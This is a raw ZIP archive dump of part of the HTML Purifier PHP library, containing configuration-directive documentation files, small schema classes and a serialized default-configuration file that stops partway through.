PK j�$Z�gs�o o N htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txtnu �[��� HTML.AllowedComments
TYPE: lookup
VERSION: 4.4.0
DEFAULT: array()
--DESCRIPTION--
A whitelist which indicates what explicit comment bodies should be
allowed, modulo leading and trailing whitespace. See also %HTML.AllowedCommentsRegexp
(these directives are union'ed together, so a comment is considered
valid if any directive deems it valid.)
--# vim: et sw=4 sts=4
PK j�$Z�{ { J htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txtnu �[��� Attr.IDBlacklist
TYPE: list
DEFAULT: array()
DESCRIPTION: Array of IDs not allowed in the document.
--# vim: et sw=4 sts=4
PK j�$Z��� � J htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txtnu �[��� URI.DefinitionID
TYPE: string/null
VERSION: 2.1.0
DEFAULT: NULL
--DESCRIPTION--
<p>
Unique identifier for a custom-built URI definition. If you want
to add custom URIFilters, you must specify this value.
</p>
--# vim: et sw=4 sts=4
PK j�$Z!m_R3 3 G htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txtnu �[��� Filter.Custom
TYPE: list
VERSION: 3.1.0
DEFAULT: array()
--DESCRIPTION--
<p>
This directive can be used to add custom filters; it is nearly the
equivalent of the now deprecated <code>HTMLPurifier->addFilter()</code>
method. Specify an array of concrete implementations.
</p>
--# vim: et sw=4 sts=4
PK j�$ZF#� S htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txtnu �[��� HTML.FlashAllowFullScreen
TYPE: bool
VERSION: 4.2.0
DEFAULT: false
--DESCRIPTION--
<p>
Whether or not to permit embedded Flash content from
%HTML.SafeObject to expand to the full screen. Corresponds to
the <code>allowFullScreen</code> parameter.
</p>
--# vim: et sw=4 sts=4
PK j�$ZjW�p' ' a htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txtnu �[��� AutoFormat.RemoveSpansWithoutAttributes
TYPE: bool
VERSION: 4.0.1
DEFAULT: false
--DESCRIPTION--
<p>
This directive causes <code>span</code> tags without any attributes
to be removed. It will also remove spans that had all attributes
removed during processing.
</p>
--# vim: et sw=4 sts=4
PK j�$ZMު�� � Q htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txtnu �[��� CSS.ForbiddenProperties
TYPE: lookup
VERSION: 4.2.0
DEFAULT: array()
--DESCRIPTION--
<p>
This is the logical inverse of %CSS.AllowedProperties, and it will
override that directive or any other directive. If possible,
%CSS.AllowedProperties is recommended over this directive,
because it can sometimes be difficult to tell whether or not you've
forbidden all of the CSS properties you truly would like to disallow.
</p>
--# vim: et sw=4 sts=4
PK j�$Zy B� � T htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txtnu �[��� Core.EscapeInvalidChildren
TYPE: bool
DEFAULT: false
--DESCRIPTION--
<p><strong>Warning:</strong> this configuration option is no longer does anything as of 4.6.0.</p>
<p>When true, a child is found that is not allowed in the context of the
parent element will be transformed into text as if it were ASCII. When
false, that element and all internal tags will be dropped, though text will
be preserved. There is no option for dropping the element but preserving
child nodes.</p>
--# vim: et sw=4 sts=4
PK j�$ZET�j� � I htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txtnu �[��� HTML.TidyRemove
TYPE: lookup
VERSION: 2.0.0
DEFAULT: array()
--DESCRIPTION--
Fixes to remove from the default set of Tidy fixes as per your level.
--# vim: et sw=4 sts=4
PK j�$ZE]�C� � G htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txtnu �[��� Core.Encoding
TYPE: istring
DEFAULT: 'utf-8'
--DESCRIPTION--
If for some reason you are unable to convert all webpages to UTF-8, you can
use this directive as a stop-gap compatibility change to let HTML Purifier
deal with non UTF-8 input. This technique has notable deficiencies:
absolutely no characters outside of the selected character encoding will be
preserved, not even the ones that have been ampersand escaped (this is due
to a UTF-8 specific <em>feature</em> that automatically resolves all
entities), making it pretty useless for anything except the most I18N-blind
applications, although %Core.EscapeNonASCIICharacters offers fixes this
trouble with another tradeoff. This directive only accepts ISO-8859-1 if
iconv is not enabled.
--# vim: et sw=4 sts=4
PK j�$Z���ƣ � F htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txtnu �[��� HTML.TidyAdd
TYPE: lookup
VERSION: 2.0.0
DEFAULT: array()
--DESCRIPTION--
Fixes to add to the default set of Tidy fixes as per your level.
--# vim: et sw=4 sts=4
PK j�$Z
�+� � I htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txtnu �[��� Output.SortAttr
TYPE: bool
VERSION: 3.2.0
DEFAULT: false
--DESCRIPTION--
<p>
If true, HTML Purifier will sort attributes by name before writing them back
to the document, converting a tag like: <code><el b="" a="" c="" /></code>
to <code><el a="" b="" c="" /></code>. This is a workaround for
a bug in FCKeditor which causes it to swap attributes order, adding noise
to text diffs. If you're not seeing this bug, chances are, you don't need
this directive.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�B�
� � L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txtnu �[��� Attr.ClassUseCDATA
TYPE: bool/null
DEFAULT: null
VERSION: 4.0.0
--DESCRIPTION--
If null, class will auto-detect the doctype and, if matching XHTML 1.1 or
XHTML 2.0, will use the restrictive NMTOKENS specification of class. Otherwise,
it will use a relaxed CDATA definition. If true, the relaxed CDATA definition
is forced; if false, the NMTOKENS definition is forced. To get behavior
of HTML Purifier prior to 4.0.0, set this directive to false.
Some rational behind the auto-detection:
in previous versions of HTML Purifier, it was assumed that the form of
class was NMTOKENS, as specified by the XHTML Modularization (representing
XHTML 1.1 and XHTML 2.0). The DTDs for HTML 4.01 and XHTML 1.0, however
specify class as CDATA. HTML 5 effectively defines it as CDATA, but
with the additional constraint that each name should be unique (this is not
explicitly outlined in previous specifications).
--# vim: et sw=4 sts=4
PK j�$ZId��� � < htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.phpnu �[��� <?php
/**
* Exceptions related to configuration schema
*/
class HTMLPurifier_ConfigSchema_Exception extends HTMLPurifier_Exception
{
}
// vim: et sw=4 sts=4
PK j�$Zk1 1 A htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.phpnu �[��� <?php
/**
* Represents a directive ID in the interchange format.
*/
class HTMLPurifier_ConfigSchema_Interchange_Id
{
/**
* @type string
*/
public $key;
/**
* @param string $key
*/
public function __construct($key)
{
$this->key = $key;
}
/**
* @return string
* @warning This is NOT magic, to ensure that people don't abuse SPL and
* cause problems for PHP 5.0 support.
*/
public function toString()
{
return $this->key;
}
/**
* @return string
*/
public function getRootNamespace()
{
return substr($this->key, 0, strpos($this->key, "."));
}
/**
* @return string
*/
public function getDirective()
{
return substr($this->key, strpos($this->key, ".") + 1);
}
/**
* @param string $id
* @return HTMLPurifier_ConfigSchema_Interchange_Id
*/
public static function make($id)
{
return new HTMLPurifier_ConfigSchema_Interchange_Id($id);
}
}
// vim: et sw=4 sts=4
PK j�$Z�P̛� � H htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.phpnu �[��� <?php
/**
* Interchange component class describing configuration directives.
*/
class HTMLPurifier_ConfigSchema_Interchange_Directive
{
/**
* ID of directive.
* @type HTMLPurifier_ConfigSchema_Interchange_Id
*/
public $id;
/**
* Type, e.g. 'integer' or 'istring'.
* @type string
*/
public $type;
/**
* Default value, e.g. 3 or 'DefaultVal'.
* @type mixed
*/
public $default;
/**
* HTML description.
* @type string
*/
public $description;
/**
* Whether or not null is allowed as a value.
* @type bool
*/
public $typeAllowsNull = false;
/**
* Lookup table of allowed scalar values.
* e.g. array('allowed' => true).
* Null if all values are allowed.
* @type array
*/
public $allowed;
/**
* List of aliases for the directive.
* e.g. array(new HTMLPurifier_ConfigSchema_Interchange_Id('Ns', 'Dir'))).
* @type HTMLPurifier_ConfigSchema_Interchange_Id[]
*/
public $aliases = array();
/**
* Hash of value aliases, e.g. array('alt' => 'real'). Null if value
* aliasing is disabled (necessary for non-scalar types).
* @type array
*/
public $valueAliases;
/**
* Version of HTML Purifier the directive was introduced, e.g. '1.3.1'.
* Null if the directive has always existed.
* @type string
*/
public $version;
/**
* ID of directive that supercedes this old directive.
* Null if not deprecated.
* @type HTMLPurifier_ConfigSchema_Interchange_Id
*/
public $deprecatedUse;
/**
* Version of HTML Purifier this directive was deprecated. Null if not
* deprecated.
* @type string
*/
public $deprecatedVersion;
/**
* List of external projects this directive depends on, e.g. array('CSSTidy').
* @type array
*/
public $external = array();
}
// vim: et sw=4 sts=4
PK j�$Z/�L<^ <^ 9 htmlpurifier/library/HTMLPurifier/ConfigSchema/schema.sernu �[��� O:25:"HTMLPurifier_ConfigSchema":3:{s:8:"defaults";a:126:{s:19:"Attr.AllowedClasses";N;s:24:"Attr.AllowedFrameTargets";a:0:{}s:15:"Attr.AllowedRel";a:0:{}s:15:"Attr.AllowedRev";a:0:{}s:18:"Attr.ClassUseCDATA";N;s:20:"Attr.DefaultImageAlt";N;s:24:"Attr.DefaultInvalidImage";s:0:"";s:27:"Attr.DefaultInvalidImageAlt";s:13:"Invalid image";s:19:"Attr.DefaultTextDir";s:3:"ltr";s:13:"Attr.EnableID";b:0;s:21:"Attr.ForbiddenClasses";a:0:{}s:13:"Attr.ID.HTML5";N;s:16:"Attr.IDBlacklist";a:0:{}s:22:"Attr.IDBlacklistRegexp";N;s:13:"Attr.IDPrefix";s:0:"";s:18:"Attr.IDPrefixLocal";s:0:"";s:24:"AutoFormat.AutoParagraph";b:0;s:17:"AutoFormat.Custom";a:0:{}s:25:"AutoFormat.DisplayLinkURI";b:0;s:18:"AutoFormat.Linkify";b:0;s:33:"AutoFormat.PurifierLinkify.DocURL";s:3:"#%s";s:26:"AutoFormat.PurifierLinkify";b:0;s:32:"AutoFormat.RemoveEmpty.Predicate";a:4:{s:8:"colgroup";a:0:{}s:2:"th";a:0:{}s:2:"td";a:0:{}s:6:"iframe";a:1:{i:0;s:3:"src";}}s:44:"AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions";a:2:{s:2:"td";b:1;s:2:"th";b:1;}s:33:"AutoFormat.RemoveEmpty.RemoveNbsp";b:0;s:22:"AutoFormat.RemoveEmpty";b:0;s:39:"AutoFormat.RemoveSpansWithoutAttributes";b:0;s:19:"CSS.AllowDuplicates";b:0;s:18:"CSS.AllowImportant";b:0;s:15:"CSS.AllowTricky";b:0;s:16:"CSS.AllowedFonts";N;s:21:"CSS.AllowedProperties";N;s:17:"CSS.DefinitionRev";i:1;s:23:"CSS.ForbiddenProperties";a:0:{}s:16:"CSS.MaxImgLength";s:6:"1200px";s:15:"CSS.Proprietary";b:0;s:11:"CSS.Trusted";b:0;s:20:"Cache.DefinitionImpl";s:10:"Serializer";s:20:"Cache.SerializerPath";N;s:27:"Cache.SerializerPermissions";i:493;s:22:"Core.AggressivelyFixLt";b:1;s:29:"Core.AggressivelyRemoveScript";b:1;s:28:"Core.AllowHostnameUnderscore";b:0;s:23:"Core.AllowParseManyTags";b:0;s:18:"Core.CollectErrors";b:0;s:18:"Core.ColorKeywords";a:148:{s:9:"aliceblue";s:7:"#F0F8FF";s:12:"antiquewhite";s:7:"#FAEBD7";s:4:"aqua";s:7:"#00FFFF";s:10:"aquamarine";s:7:"#7FFFD4";s:5:"azure";s:7:"#F0FFFF";s:5:"beige";s:7:"#F5F5DC";s:6:"bisque";s:7:"#FFE4C4";s:5:"black";s:7:"#000000";s:14:"blanchedalmond";s:7:"#FFEBCD";s:4:"blue";s:7:"#0000FF";s:10:"blueviolet";s:7:"#8A2BE2";s:5:"brown";s:7:"#A52A2A";s:9:"burlywood";s:7:"#DEB887";s:9:"cadetblue";s:7:"#5F9EA0";s:10:"chartreuse";s:7:"#7FFF00";s:9:"chocolate";s:7:"#D2691E";s:5:"coral";s:7:"#FF7F50";s:14:"cornflowerblue";s:7:"#6495ED";s:8:"cornsilk";s:7:"#FFF8DC";s:7:"crimson";s:7:"#DC143C";s:4:"cyan";s:7:"#00FFFF";s:8:"darkblue";s:7:"#00008B";s:8:"darkcyan";s:7:"#008B8B";s:13:"darkgoldenrod";s:7:"#B8860B";s:8:"darkgray";s:7:"#A9A9A9";s:8:"darkgrey";s:7:"#A9A9A9";s:9:"darkgreen";s:7:"#006400";s:9:"darkkhaki";s:7:"#BDB76B";s:11:"darkmagenta";s:7:"#8B008B";s:14:"darkolivegreen";s:7:"#556B2F";s:10:"darkorange";s:7:"#FF8C00";s:10:"darkorchid";s:7:"#9932CC";s:7:"darkred";s:7:"#8B0000";s:10:"darksalmon";s:7:"#E9967A";s:12:"darkseagreen";s:7:"#8FBC8F";s:13:"darkslateblue";s:7:"#483D8B";s:13:"darkslategray";s:7:"#2F4F4F";s:13:"darkslategrey";s:7:"#2F4F4F";s:13:"darkturquoise";s:7:"#00CED1";s:10:"darkviolet";s:7:"#9400D3";s:8:"deeppink";s:7:"#FF1493";s:11:"deepskyblue";s:7:"#00BFFF";s:7:"dimgray";s:7:"#696969";s:7:"dimgrey";s:7:"#696969";s:10:"dodgerblue";s:7:"#1E90FF";s:9:"firebrick";s:7:"#B22222";s:11:"floralwhite";s:7:"#FFFAF0";s:11:"forestgreen";s:7:"#228B22";s:7:"fuchsia";s:7:"#FF00FF";s:9:"gainsboro";s:7:"#DCDCDC";s:10:"ghostwhite";s:7:"#F8F8FF";s:4:"gold";s:7:"#FFD700";s:9:"goldenrod";s:7:"#DAA520";s:4:"gray";s:7:"#808080";s:4:"grey";s:7:"#808080";s:5:"green";s:7:"#008000";s:11:"greenyellow";s:7:"#ADFF2F";s:8:"honeydew";s:7:"#F0FFF0";s:7:"hotpink";s:7:"#FF69B4";s:9:"indianred";s:7:"#CD5C5C";s:6:"indigo";s:7:"#4B0082";s:5:"ivory";s:7:"#FFFFF0";s:5:"khaki";s:7:"#F0E68C";s:8:"lavender";s:7:"#E6E6FA";s:13:"lavenderblush";s:7:"#FFF0F5";s:9:"lawngreen";s:7:"#7CFC00";s:12:"lemonchiffon";s:7:"#FFFACD";s:9:"lightblue";s:7:"#ADD8E6";s:10:"lightcoral";s:7:"#F08080";s:9:"lightcyan";s:7:"#E0FFFF";s:20:"lightgoldenrodyellow";s:7:"#FAFAD2";s:9:"lightgray";s:7:"#D3D3D3";s:9:"lightgrey";s:7:"#D3D3D3";s:10:"lightgreen";s:7:"#90EE90";s:9:"lightpink";s:7:"#FFB6C1";s:11:"lightsalmon";s:7:"#FFA07A";s:13:"lightseagreen";s:7:"#20B2AA";s:12:"lightskyblue";s:7:"#87CEFA";s:14:"lightslategray";s:7:"#778899";s:14:"lightslategrey";s:7:"#778899";s:14:"lightsteelblue";s:7:"#B0C4DE";s:11:"lightyellow";s:7:"#FFFFE0";s:4:"lime";s:7:"#00FF00";s:9:"limegreen";s:7:"#32CD32";s:5:"linen";s:7:"#FAF0E6";s:7:"magenta";s:7:"#FF00FF";s:6:"maroon";s:7:"#800000";s:16:"mediumaquamarine";s:7:"#66CDAA";s:10:"mediumblue";s:7:"#0000CD";s:12:"mediumorchid";s:7:"#BA55D3";s:12:"mediumpurple";s:7:"#9370DB";s:14:"mediumseagreen";s:7:"#3CB371";s:15:"mediumslateblue";s:7:"#7B68EE";s:17:"mediumspringgreen";s:7:"#00FA9A";s:15:"mediumturquoise";s:7:"#48D1CC";s:15:"mediumvioletred";s:7:"#C71585";s:12:"midnightblue";s:7:"#191970";s:9:"mintcream";s:7:"#F5FFFA";s:9:"mistyrose";s:7:"#FFE4E1";s:8:"moccasin";s:7:"#FFE4B5";s:11:"navajowhite";s:7:"#FFDEAD";s:4:"navy";s:7:"#000080";s:7:"oldlace";s:7:"#FDF5E6";s:5:"olive";s:7:"#808000";s:9:"olivedrab";s:7:"#6B8E23";s:6:"orange";s:7:"#FFA500";s:9:"orangered";s:7:"#FF4500";s:6:"orchid";s:7:"#DA70D6";s:13:"palegoldenrod";s:7:"#EEE8AA";s:9:"palegreen";s:7:"#98FB98";s:13:"paleturquoise";s:7:"#AFEEEE";s:13:"palevioletred";s:7:"#DB7093";s:10:"papayawhip";s:7:"#FFEFD5";s:9:"peachpuff";s:7:"#FFDAB9";s:4:"peru";s:7:"#CD853F";s:4:"pink";s:7:"#FFC0CB";s:4:"plum";s:7:"#DDA0DD";s:10:"powderblue";s:7:"#B0E0E6";s:6:"purple";s:7:"#800080";s:13:"rebeccapurple";s:7:"#663399";s:3:"red";s:7:"#FF0000";s:9:"rosybrown";s:7:"#BC8F8F";s:9:"royalblue";s:7:"#4169E1";s:11:"saddlebrown";s:7:"#8B4513";s:6:"salmon";s:7:"#FA8072";s:10:"sandybrown";s:7:"#F4A460";s:8:"seagreen";s:7:"#2E8B57";s:8:"seashell";s:7:"#FFF5EE";s:6:"sienna";s:7:"#A0522D";s:6:"silver";s:7:"#C0C0C0";s:7:"skyblue";s:7:"#87CEEB";s:9:"slateblue";s:7:"#6A5ACD";s:9:"slategray";s:7:"#708090";s:9:"slategrey";s:7:"#708090";s:4:"snow";s:7:"#FFFAFA";s:11:"springgreen";s:7:"#00FF7F";s:9:"steelblue";s:7:"#4682B4";s:3:"tan";s:7:"#D2B48C";s:4:"teal";s:7:"#008080";s:7:"thistle";s:7:"#D8BFD8";s:6:"tomato";s:7:"#FF6347";s:9:"turquoise";s:7:"#40E0D0";s:6:"violet";s:7:"#EE82EE";s:5:"wheat";s:7:"#F5DEB3";s:5:"white";s:7:"#FFFFFF";s:10:"whitesmoke";s:7:"#F5F5F5";s:6:"yellow";s:7:"#FFFF00";s:11:"yellowgreen";s:7:"#9ACD32";}s:30:"Core.ConvertDocumentToFragment";b:1;s:36:"Core.DirectLexLineNumberSyncInterval";i:0;s:20:"Core.DisableExcludes";b:0;s:15:"Core.EnableIDNA";b:0;s:13:"Core.Encoding";s:5:"utf-8";s:26:"Core.EscapeInvalidChildren";b:0;s:22:"Core.EscapeInvalidTags";b:0;s:29:"Core.EscapeNonASCIICharacters";b:0;s:19:"Core.HiddenElements";a:2:{s:6:"script";b:1;s:5:"style";b:1;}s:13:"Core.Language";s:2:"en";s:24:"Core.LegacyEntityDecoder";b:0;s:14:"Core.LexerImpl";N;s:24:"Core.MaintainLineNumbers";N;s:22:"Core.NormalizeNewlines";b:1;s:21:"Core.RemoveInvalidImg";b:1;s:33:"Core.RemoveProcessingInstructions";b:0;s:25:"Core.RemoveScriptContents";N;s:13:"Filter.Custom";a:0:{}s:34:"Filter.ExtractStyleBlocks.Escaping";b:1;s:31:"Filter.ExtractStyleBlocks.Scope";N;s:34:"Filter.ExtractStyleBlocks.TidyImpl";N;s:25:"Filter.ExtractStyleBlocks";b:0;s:14:"Filter.YouTube";b:0;s:12:"HTML.Allowed";N;s:22:"HTML.AllowedAttributes";N;s:20:"HTML.AllowedComments";a:0:{}s:26:"HTML.AllowedCommentsRegexp";N;s:20:"HTML.AllowedElements";N;s:19:"HTML.AllowedModules";N;s:23:"HTML.Attr.Name.UseCDATA";b:0;s:17:"HTML.BlockWrapper";s:1:"p";s:16:"HTML.CoreModules";a:7:{s:9:"Structure";b:1;s:4:"Text";b:1;s:9:"Hypertext";b:1;s:4:"List";b:1;s:22:"NonXMLCommonAttributes";b:1;s:19:"XMLCommonAttributes";b:1;s:16:"CommonAttributes";b:1;}s:18:"HTML.CustomDoctype";N;s:17:"HTML.DefinitionID";N;s:18:"HTML.DefinitionRev";i:1;s:12:"HTML.Doctype";N;s:25:"HTML.FlashAllowFullScreen";b:0;s:24:"HTML.ForbiddenAttributes";a:0:{}s:22:"HTML.ForbiddenElements";a:0:{}s:17:"HTML.MaxImgLength";i:1200;s:13:"HTML.Nofollow";b:0;s:11:"HTML.Parent";s:3:"div";s:16:"HTML.Proprietary";b:0;s:14:"HTML.SafeEmbed";b:0;s:15:"HTML.SafeIframe";b:0;s:15:"HTML.SafeObject";b:0;s:18:"HTML.SafeScripting";a:0:{}s:11:"HTML.Strict";b:0;s:16:"HTML.TargetBlank";b:0;s:19:"HTML.TargetNoopener";b:1;s:21:"HTML.TargetNoreferrer";b:1;s:12:"HTML.TidyAdd";a:0:{}s:14:"HTML.TidyLevel";s:6:"medium";s:15:"HTML.TidyRemove";a:0:{}s:12:"HTML.Trusted";b:0;s:10:"HTML.XHTML";b:1;s:28:"Output.CommentScriptContents";b:1;s:19:"Output.FixInnerHTML";b:1;s:18:"Output.FlashCompat";b:0;s:14:"Output.Newline";N;s:15:"Output.SortAttr";b:0;s:17:"Output.TidyFormat";b:0;s:17:"Test.ForceNoIconv";b:0;s:18:"URI.AllowedSchemes";a:7:{s:4:"http";b:1;s:5:"https";b:1;s:6:"mailto";b:1;s:3:"ftp";b:1;s:4:"nntp";b:1;s:4:"news";b:1;s:3:"tel";b:1;}s:8:"URI.Base";N;s:17:"URI.DefaultScheme";s:4:"http";s:16:"URI.DefinitionID";N;s:17:"URI.DefinitionRev";i:1;s:11:"URI.Disable";b:0;s:19:"URI.DisableExternal";b:0;s:28:"URI.DisableExternalResources";b:0;s:20:"URI.DisableResources";b:0;s:8:"URI.Host";N;s:17:"URI.HostBlacklist";a:0:{}s:16:"URI.MakeAbsolute";b:0;s:9:"URI.Munge";N;s:18:"URI.MungeResources";b:0;s:18:"URI.MungeSecretKey";N;s:26:"URI.OverrideAllowedSchemes";b:1;s:20:"URI.SafeIframeRegexp";N;}s:12:"defaultPlist";O:25:"HTMLPurifier_PropertyList":3:{s:7:" * data";a:126:{s:19:"Attr.AllowedClasses";N;s:24:"Attr.AllowedFrameTargets";a:0:{}s:15:"Attr.AllowedRel";a:0:{}s:15:"Attr.AllowedRev";a:0:{}s:18:"Attr.ClassUseCDATA";N;s:20:"Attr.DefaultImageAlt";N;s:24:"Attr.DefaultInvalidImage";s:0:"";s:27:"Attr.DefaultInvalidImageAlt";s:13:"Invalid image";s:19:"Attr.DefaultTextDir";s:3:"ltr";s:13:"Attr.EnableID";b:0;s:21:"Attr.ForbiddenClasses";a:0:{}s:13:"Attr.ID.HTML5";N;s:16:"Attr.IDBlacklist";a:0:{}s:22:"Attr.IDBlacklistRegexp";N;s:13:"Attr.IDPrefix";s:0:"";s:18:"Attr.IDPrefixLocal";s:0:"";s:24:"AutoFormat.AutoParagraph";b:0;s:17:"AutoFormat.Custom";a:0:{}s:25:"AutoFormat.DisplayLinkURI";b:0;s:18:"AutoFormat.Linkify";b:0;s:33:"AutoFormat.PurifierLinkify.DocURL";s:3:"#%s";s:26:"AutoFormat.PurifierLinkify";b:0;s:32:"AutoFormat.RemoveEmpty.Predicate";a:4:{s:8:"colgroup";a:0:{}s:2:"th";a:0:{}s:2:"td";a:0:{}s:6:"iframe";a:1:{i:0;s:3:"src";}}s:44:"AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions";a:2:{s:2:"td";b:1;s:2:"th";b:1;}s:33:"AutoFormat.RemoveEmpty.RemoveNbsp";b:0;s:22:"AutoFormat.RemoveEmpty";b:0;s:39:"AutoFormat.RemoveSpansWithoutAttributes";b:0;s:19:"CSS.AllowDuplicates";b:0;s:18:"CSS.AllowImportant";b:0;s:15:"CSS.AllowTricky";b:0;s:16:"CSS.AllowedFonts";N;s:21:"CSS.AllowedProperties";N;s:17:"CSS.DefinitionRev";i:1;s:23:"CSS.ForbiddenProperties";a:0:{}s:16:"CSS.MaxImgLength";s:6:"1200px";s:15:"CSS.Proprietary";b:0;s:11:"CSS.Trusted";b:0;s:20:"Cache.DefinitionImpl";s:10:"Serializer";s:20:"Cache.SerializerPath";N;s:27:"Cache.SerializerPermissions";i:493;s:22:"Core.AggressivelyFixLt";b:1;s:29:"Core.AggressivelyRemoveScript";b:1;s:28:"Core.AllowHostnameUnderscore";b:0;s:23:"Core.AllowParseManyTags";b:0;s:18:"Core.CollectErrors";b:0;s:18:"Core.ColorKeywords";a:148:{s:9:"aliceblue";s:7:"#F0F8FF";s:12:"antiquewhite";s:7:"#FAEBD7";s:4:"aqua";s:7:"#00FFFF";s:10:"aquamarine";s:7:"#7FFFD4";s:5:"azure";s:7:"#F0FFFF";s:5:"beige";s:7:"#F5F5DC";s:6:"bisque";s:7:"#FFE4C4";s:5:"black";s:7:"#000000";s:14:"blanchedalmond";s:7:"#FFEBCD";s:4:"blue";s:7:"#0000FF";s:10:"blueviolet";s:7:"#8A2BE2";s:5:"brown";s:7:"#A52A2A";s:9:"burlywood";s:7:"#DEB887";s:9:"cadetblue";s:7:"#5F9EA0";s:10:"chartreuse";s:7:"#7FFF00";s:9:"chocolate";s:7:"#D2691E";s:5:"coral";s:7:"#FF7F50";s:14:"cornflowerblue";s:7:"#6495ED";s:8:"cornsilk";s:7:"#FFF8DC";s:7:"crimson";s:7:"#DC143C";s:4:"cyan";s:7:"#00FFFF";s:8:"darkblue";s:7:"#00008B";s:8:"darkcyan";s:7:"#008B8B";s:13:"darkgoldenrod";s:7:"#B8860B";s:8:"darkgray";s:7:"#A9A9A9";s:8:"darkgrey";s:7:"#A9A9A9";s:9:"darkgreen";s:7:"#006400";s:9:"darkkhaki";s:7:"#BDB76B";s:11:"darkmagenta";s:7:"#8B008B";s:14:"darkolivegreen";s:7:"#556B2F";s:10:"darkorange";s:7:"#FF8C00";s:10:"darkorchid";s:7:"#9932CC";s:7:"darkred";s:7:"#8B0000";s:10:"darksalmon";s:7:"#E9967A";s:12:"darkseagreen";s:7:"#8FBC8F";s:13:"darkslateblue";s:7:"#483D8B";s:13:"darkslategray";s:7:"#2F4F4F";s:13:"darkslategrey";s:7:"#2F4F4F";s:13:"darkturquoise";s:7:"#00CED1";s:10:"darkviolet";s:7:"#9400D3";s:8:"deeppink";s:7:"#FF1493";s:11:"deepskyblue";s:7:"#00BFFF";s:7:"dimgray";s:7:"#696969";s:7:"dimgrey";s:7:"#696969";s:10:"dodgerblue";s:7:"#1E90FF";s:9:"firebrick";s:7:"#B22222";s:11:"floralwhite";s:7:"#FFFAF0";s:11:"forestgreen";s:7:"#228B22";s:7:"fuchsia";s:7:"#FF00FF";s:9:"gainsboro";s:7:"#DCDCDC";s:10:"ghostwhite";s:7:"#F8F8FF";s:4:"gold";s:7:"#FFD700";s:9:"goldenrod";s:7:"#DAA520";s:4:"gray";s:7:"#808080";s:4:"grey";s:7:"#808080";s:5:"green";s:7:"#008000";s:11:"greenyellow";s:7:"#ADFF2F";s:8:"honeydew";s:7:"#F0FFF0";s:7:"hotpink";s:7:"#FF69B4";s:9:"indianred";s:7:"#CD5C5C";s:6:"indigo";s:7:"#4B0082";s:5:"ivory";s:7:"#FFFFF0";s:5:"khaki";s:7:"#F0E68C";s:8:"lavender";s:7:"#E6E6FA";s:13:"lavenderblush";s:7:"#FFF0F5";s:9:"lawngreen";s:7:"#7CFC00";s:12:"lemonchiffon";s:7:"#FFFACD";s:9:"lightblue";s:7:"#ADD8E6";s:10:"lightcoral";s:7:"#F08080";s:9:"lightcyan";s:7:"#E0FFFF";s:20:"lightgoldenrodyellow";s:7:"#FAFAD2";s:9:"lightgray";s:7:"#D3D3D3";s:9:"lightgrey";s:7:"#D3D3D3";s:10:"lightgreen";s:7:"#90EE90";s:9:"lightpink";s:7:"#FFB6C1";s:11:"lightsalmon";s:7:"#FFA07A";s:13:"lightseagreen";s:7:"#20B2AA";s:12:"lightskyblue";s:7:"#87CEFA";s:14:"lightslategray";s:7:"#778899";s:14:"lightslategrey";s:7:"#778899";s:14:"lightsteelblue";s:7:"#B0C4DE";s:11:"lightyellow";s:7:"#FFFFE0";s:4:"lime";s:7:"#00FF00";s:9:"limegreen";s:7:"#32CD32";s:5:"linen";s:7:"#FAF0E6";s:7:"magenta";s:7:"#FF00FF";s:6:"maroon";s:7:"#800000";s:16:"mediumaquamarine";s:7:"#66CDAA";s:10:"mediumblue";s:7:"#0000CD";s:12:"mediumorchid";s:7:"#BA55D3";s:12:"mediumpurple";s:7:"#9370DB";s:14:"mediumseagreen";s:7:"#3CB371";s:15:"mediumslateblue";s:7:"#7B68EE";s:17:"mediumspringgreen";s:7:"#00FA9A";s:15:"mediumturquoise";s:7:"#48D1CC";s:15:"mediumvioletred";s:7:"#C71585";s:12:"midnightblue";s:7:"#191970";s:9:"mintcream";s:7:"#F5FFFA";s:9:"mistyrose";s:7:"#FFE4E1";s:8:"moccasin";s:7:"#FFE4B5";s:11:"navajowhite";s:7:"#FFDEAD";s:4:"navy";s:7:"#000080";s:7:"oldlace";s:7:"#FDF5E6";s:5:"olive";s:7:"#808000";s:9:"olivedrab";s:7:"#6B8E23";s:6:"orange";s:7:"#FFA500";s:9:"orangered";s:7:"#FF4500";s:6:"orchid";s:7:"#DA70D6";s:13:"palegoldenrod";s:7:"#EEE8AA";s:9:"palegreen";s:7:"#98FB98";s:13:"paleturquoise";s:7:"#AFEEEE";s:13:"palevioletred";s:7:"#DB7093";s:10:"papayawhip";s:7:"#FFEFD5";s:9:"peachpuff";s:7:"#FFDAB9";s:4:"peru";s:7:"#CD853F";s:4:"pink";s:7:"#FFC0CB";s:4:"plum";s:7:"#DDA0DD";s:10:"powderblue";s:7:"#B0E0E6";s:6:"purple";s:7:"#800080";s:13:"rebeccapurple";s:7:"#663399";s:3:"red";s:7:"#FF0000";s:9:"rosybrown";s:7:"#BC8F8F";s:9:"royalblue";s:7:"#4169E1";s:11:"saddlebrown";s:7:"#8B4513";s:6:"salmon";s:7:"#FA8072";s:10:"sandybrown";s:7:"#F4A460";s:8:"seagreen";s:7:"#2E8B57";s:8:"seashell";s:7:"#FFF5EE";s:6:"sienna";s:7:"#A0522D";s:6:"silver";s:7:"#C0C0C0";s:7:"skyblue";s:7:"#87CEEB";s:9:"slateblue"